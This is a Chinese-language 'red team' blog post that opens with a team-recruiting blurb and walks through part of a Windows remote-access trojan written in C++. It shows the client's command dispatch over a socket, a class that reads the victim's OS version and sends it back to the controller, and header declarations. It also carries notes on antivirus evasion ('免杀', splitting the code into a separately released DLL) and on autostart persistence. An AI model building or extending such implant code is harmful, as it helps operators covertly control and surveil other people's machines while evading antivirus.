红队专题
- 招募六边形战士队员
- 端
- 操作系统SystemInfo类
- 获取系统信息
- 发送系统信息
- 头文件声明
- 头文件调用
- 未找到来自 OleAcc.dll 的导入LINK
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
端
发送连接->进入主线程->返回socket->执行命令
->SYSINFO获取系统信息->发送系统信息
switch(msg.Msg_id)
{
case SYSINFO:
{
printf("GetSystemInfo\n");
m_sys.SendSysinfo(l_Socket);
}
break;
default:
{
printf("UnKnow Command\n");
return;
}
}
封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放
操作系统SystemInfo类
获取系统信息
int CSystemInfo::GetSys_ver()
{
OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};
GetVersionEx(&osver);
int t;
if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)
{
t = 0;
}
else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)
{
t = 1;
}
else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
{
t = 2;
}
else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)
{
t = 3;
}
else t = 4;
return t;
}
发送系统信息
void CSystemInfo::SendSysinfo(SOCKET sock)
{
SYSTEMINFO_S system;
system.os = GetSys_ver();
system.ver = 0.1; //版本号
system.Cam = false;
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SYSINFO;
memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));
m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));
// 使用了 CMysocket这个类
}
头文件声明
#pragma once
#include "MySocket.h"
#include "Common.h"
class CSystemInfo
{
public:
CSystemInfo(void);
~CSystemInfo(void);
void SendSysinfo(SOCKET sock);
CMySocket m_sock;
private:
int GetSys_ver();
};
#define SYSINFO 0x01
// 通用结构体文件
路径
自启动
头文件调用
#pragma once
#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"
class CThreadMain
{
public:
CThreadMain(void);
~CThreadMain(void);
void GetInfo();
bool RunFlag;
SOCKET Run();
void Command(SOCKET Sock);
private:
void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
CMySocket m_sock;
char Address[160];
SOCKET m_Socket;
int Time;
CSystemInfo m_sys;
};
未找到来自 OleAcc.dll 的导入LINK
/DELAYLOAD:OleAcc.dll;
warning LNK4199: 已忽略